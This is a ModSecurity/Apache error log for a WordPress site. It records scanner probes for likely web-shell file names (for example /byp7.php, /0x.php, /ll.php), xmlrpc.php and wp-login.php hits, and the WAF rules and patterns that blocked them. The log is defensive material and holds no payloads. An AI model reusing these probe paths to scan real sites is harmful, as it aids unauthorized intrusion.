[Fri Nov 21 19:25:48.807309 2025] [:error] [pid 25554:tid 25562] [client 134.149.18.28:19250] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSBMPB-NtB-9AzFZrk6VugAAAQQ"]
[Fri Nov 21 19:25:52.205457 2025] [:error] [pid 25429:tid 25454] [client 134.149.18.28:18844] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ll.php"] [unique_id "aSBMQD4rZbRSr7vu-NPkjgAAABU"]
[Fri Nov 21 19:25:54.936237 2025] [:error] [pid 25554:tid 25578] [client 134.149.18.28:64701] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ll.php"] [unique_id "aSBMQh-NtB-9AzFZrk6VvwAAARQ"]
[Fri Nov 21 19:25:57.342108 2025] [:error] [pid 25431:tid 25496] [client 134.149.18.28:64657] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ll.php"] [unique_id "aSBMRcklhXxmoIExII198AAAAIk"]
[Fri Nov 21 19:26:00.583372 2025] [:error] [pid 25429:tid 25437] [client 134.149.18.28:64695] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ll.php"] [unique_id "aSBMSD4rZbRSr7vu-NPkkwAAAAQ"]
[Fri Nov 21 19:26:03.527682 2025] [:error] [pid 46939:tid 46966] [client 134.149.18.28:64691] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aSBMS-0OmVoxD4VZ_ZnSLgAAAVg"]
[Fri Nov 21 19:26:06.788023 2025] [:error] [pid 25431:tid 25497] [client 134.149.18.28:64699] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "aSBMTsklhXxmoIExII199QAAAIo"]
[Fri Nov 21 19:26:12.836050 2025] [:error] [pid 25431:tid 25511] [client 134.149.18.28:64647] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "aSBMVMklhXxmoIExII19-QAAAJg"]
[Fri Nov 21 19:26:14.055789 2025] [:error] [pid 25431:tid 25508] [client 134.149.18.28:18927] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "aSBMVsklhXxmoIExII19_QAAAJU"]
[Fri Nov 21 19:26:16.125432 2025] [:error] [pid 25431:tid 25504] [client 134.149.18.28:19269] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ee.php"] [unique_id "aSBMWMklhXxmoIExII19_wAAAJE"]
[Fri Nov 21 19:26:25.035830 2025] [:error] [pid 25521:tid 25546] [client 134.149.18.28:19326] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/product.php"] [unique_id "aSBMYfhXnBMilDddn3UuMQAAANc"]
[Fri Nov 21 19:26:30.612757 2025] [:error] [pid 25554:tid 25567] [client 134.149.18.28:18438] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/product.php"] [unique_id "aSBMZh-NtB-9AzFZrk6V5wAAAQk"]
[Fri Nov 21 19:26:34.746239 2025] [:error] [pid 25554:tid 25561] [client 134.149.18.28:18685] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wi.php"] [unique_id "aSBMah-NtB-9AzFZrk6V8gAAAQM"]
[Fri Nov 21 19:26:37.253215 2025] [:error] [pid 46939:tid 46956] [client 134.149.18.28:18888] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wi.php"] [unique_id "aSBMbe0OmVoxD4VZ_ZnSbgAAAU4"]
[Fri Nov 21 19:26:42.759709 2025] [:error] [pid 25431:tid 25506] [client 134.149.18.28:18464] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSBMcsklhXxmoIExII1-HQAAAJM"]
[Fri Nov 21 19:26:56.977578 2025] [:error] [pid 46939:tid 46965] [client 134.149.18.28:18766] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSBMgO0OmVoxD4VZ_ZnSnAAAAVc"]
[Fri Nov 21 19:26:59.297346 2025] [:error] [pid 25431:tid 25491] [client 134.149.18.28:19281] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/po.php"] [unique_id "aSBMg8klhXxmoIExII1-LgAAAIQ"]
[Fri Nov 21 19:27:04.497191 2025] [:error] [pid 25554:tid 25573] [client 134.149.18.28:19230] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/po.php"] [unique_id "aSBMiB-NtB-9AzFZrk6WFQAAAQ8"]
[Fri Nov 21 19:27:06.504875 2025] [:error] [pid 25521:tid 25544] [client 134.149.18.28:19275] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/po.php"] [unique_id "aSBMivhXnBMilDddn3UukQAAANU"]
[Fri Nov 21 19:28:21.547637 2025] [:error] [pid 25431:tid 25497] [client 134.149.18.28:61815] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ab.php"] [unique_id "aSBM1cklhXxmoIExII1-xQAAAIo"]
[Fri Nov 21 19:28:23.607124 2025] [:error] [pid 25431:tid 25496] [client 134.149.18.28:19206] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ab.php"] [unique_id "aSBM18klhXxmoIExII1-xwAAAIk"]
[Fri Nov 21 19:28:26.265166 2025] [:error] [pid 25554:tid 25564] [client 134.149.18.28:61817] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ab.php"] [unique_id "aSBM2h-NtB-9AzFZrk6WcQAAAQY"]
[Fri Nov 21 19:28:27.995203 2025] [:error] [pid 25429:tid 25444] [client 134.149.18.28:57078] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ab.php"] [unique_id "aSBM2z4rZbRSr7vu-NPlPgAAAAs"]
[Fri Nov 21 19:28:41.980895 2025] [:error] [pid 25429:tid 25435] [client 134.149.18.28:57031] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aSBM6T4rZbRSr7vu-NPlSwAAAAI"]
[Fri Nov 21 19:31:37.151670 2025] [:error] [pid 46939:tid 46946] [client 115.190.57.183:33452] [client 115.190.57.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.190.57.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBNme0OmVoxD4VZ_ZnUwgAAAUQ"], referer: http://rcacivilgroup.com
[Fri Nov 21 19:49:25.274877 2025] [:error] [pid 25521:tid 25527] [client 103.192.173.163:52437] [client 103.192.173.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.192.173.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBRxfhXnBMilDddn3U4VgAAAMQ"], referer: http://rcacivilgroup.com
[Fri Nov 21 19:56:32.555301 2025] [:error] [pid 25429:tid 25451] [client 203.217.101.237:56244] [client 203.217.101.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.217.101.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBTcD4rZbRSr7vu-NPscQAAABI"], referer: http://rcacivilgroup.com
[Fri Nov 21 20:00:12.841017 2025] [:error] [pid 25430:tid 25476] [client 142.93.110.8:44914] [client 142.93.110.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.93.110.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBUTKpnWJcWt_4foXmGAgAAAFA"], referer: http://rcacivilgroup.com
[Fri Nov 21 20:01:15.863231 2025] [:error] [pid 25521:tid 25534] [client 63.250.38.127:34264] [client 63.250.38.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.127, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSBUi_hXnBMilDddn3U9bwAAAMs"]
[Fri Nov 21 20:01:17.041349 2025] [:error] [pid 25521:tid 25541] [client 63.250.38.127:34264] [client 63.250.38.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 63.250.38.127, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSBUjfhXnBMilDddn3U9cgAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Nov 21 20:32:17.962463 2025] [:error] [pid 25430:tid 25473] [client 167.172.41.47:50715] [client 167.172.41.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.41.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBb0apnWJcWt_4foXmOqQAAAE0"], referer: http://rcacivilgroup.com
[Fri Nov 21 21:04:20.275617 2025] [:error] [pid 46939:tid 46951] [client 158.170.66.237:52474] [client 158.170.66.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.170.66.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBjVO0OmVoxD4VZ_ZnwhgAAAUk"], referer: http://rcacivilgroup.com
[Fri Nov 21 21:25:45.673012 2025] [:error] [pid 46939:tid 46948] [client 134.209.73.108:51720] [client 134.209.73.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.209.73.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBoWe0OmVoxD4VZ_Zn2cQAAAUY"], referer: http://rcacivilgroup.com
[Fri Nov 21 21:33:19.294605 2025] [:error] [pid 25554:tid 25571] [client 193.164.17.45:43424] [client 193.164.17.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.164.17.45, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBqHx-NtB-9AzFZrk61xgAAAQ0"], referer: http://rcacivilgroup.com
[Fri Nov 21 21:43:53.258275 2025] [:error] [pid 46939:tid 46966] [client 122.51.207.51:51646] [client 122.51.207.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.51.207.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBsme0OmVoxD4VZ_Zn69QAAAVg"], referer: http://rcacivilgroup.com
[Fri Nov 21 21:43:53.259921 2025] [:error] [pid 46939:tid 46966] [client 122.51.207.51:51646] [client 122.51.207.51] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBsme0OmVoxD4VZ_Zn69QAAAVg"], referer: http://rcacivilgroup.com
[Fri Nov 21 21:43:53.261030 2025] [:error] [pid 46939:tid 46966] [client 122.51.207.51:51646] [client 122.51.207.51] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBsme0OmVoxD4VZ_Zn69QAAAVg"], referer: http://rcacivilgroup.com
[Fri Nov 21 22:22:55.928855 2025] [:error] [pid 25521:tid 25544] [client 4.224.244.18:37348] [client 4.224.244.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.224.244.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSB1v_hXnBMilDddn3V0twAAANU"], referer: http://rcacivilgroup.com
[Fri Nov 21 22:26:21.609481 2025] [:error] [pid 46939:tid 46944] [client 167.172.41.47:31222] [client 167.172.41.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.41.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSB2je0OmVoxD4VZ_ZkJAwAAAUI"], referer: http://rcacivilgroup.com
[Fri Nov 21 23:08:23.292879 2025] [:error] [pid 25430:tid 25461] [client 162.241.224.134:36504] [client 162.241.224.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.224.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCAZ6pnWJcWt_4foXm0AQAAAEE"], referer: http://rcacivilgroup.com
[Fri Nov 21 23:54:22.352396 2025] [:error] [pid 25521:tid 25543] [client 162.241.230.224:29888] [client 162.241.230.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.230.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCLLvhXnBMilDddn3WW5AAAANQ"], referer: http://rcacivilgroup.com
[Sat Nov 22 00:10:08.628688 2025] [:error] [pid 25429:tid 25446] [client 14.136.76.45:38406] [client 14.136.76.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.136.76.45, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCO4D4rZbRSr7vu-NMqswAAAA0"], referer: http://rcacivilgroup.com
[Sat Nov 22 00:13:22.258512 2025] [:error] [pid 25521:tid 25536] [client 51.79.250.168:53334] [client 51.79.250.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.250.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCPovhXnBMilDddn3Wg2AAAAM0"], referer: http://rcacivilgroup.com
[Sat Nov 22 00:19:49.971233 2025] [:error] [pid 25554:tid 25568] [client 198.144.180.112:36745] [client 198.144.180.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.144.180.112, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSCRJR-NtB-9AzFZrk7mDQAAAQo"]
[Sat Nov 22 00:25:57.849869 2025] [:error] [pid 9180:tid 9182] [client 42.118.16.244:37102] [client 42.118.16.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.118.16.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCSlbrk9msixUFV2i901AAAAEA"], referer: http://rcacivilgroup.com
[Sat Nov 22 00:41:09.823700 2025] [:error] [pid 9180:tid 9182] [client 67.205.42.10:59742] [client 67.205.42.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.42.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSCWJbrk9msixUFV2i98YgAAAEA"], referer: http://rcacivilgroup.com
[Sat Nov 22 00:42:07.208782 2025] [:error] [pid 49642:tid 49913] [client 74.176.50.101:56696] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp7.php"] [unique_id "aSCWX4OXTPSuQfgUUtV_mQAAAJY"]
[Sat Nov 22 00:42:07.714993 2025] [:error] [pid 9180:tid 9200] [client 74.176.50.101:5900] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp7.php"] [unique_id "aSCWX7rk9msixUFV2i98vQAAAFI"]
[Sat Nov 22 00:42:08.534793 2025] [:error] [pid 50057:tid 50077] [client 74.176.50.101:56682] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp7.php"] [unique_id "aSCWYFb9j9fTBoI0sRU4HgAAARI"]
[Sat Nov 22 00:42:09.122340 2025] [:error] [pid 50057:tid 50071] [client 74.176.50.101:62723] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/byp7.php"] [unique_id "aSCWYVb9j9fTBoI0sRU4HwAAAQw"]
[Sat Nov 22 00:42:09.722639 2025] [:error] [pid 49641:tid 49838] [client 74.176.50.101:5907] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aSCWYVnhuiDak938N_amqwAAAA8"]
[Sat Nov 22 00:42:10.379309 2025] [:error] [pid 49642:tid 49894] [client 74.176.50.101:5899] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aSCWYoOXTPSuQfgUUtV_nAAAAIM"]
[Sat Nov 22 00:42:12.290294 2025] [:error] [pid 50057:tid 50078] [client 74.176.50.101:5657] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aSCWZFb9j9fTBoI0sRU4JQAAARM"]
[Sat Nov 22 00:42:12.960244 2025] [:error] [pid 9180:tid 9189] [client 74.176.50.101:5682] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/0x.php"] [unique_id "aSCWZLrk9msixUFV2i98zQAAAEc"]
[Sat Nov 22 00:42:15.199341 2025] [:error] [pid 49641:tid 49834] [client 74.176.50.101:5636] [client 74.176.50.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "aSCWZ1nhuiDak938N_amwQAAAAs"]
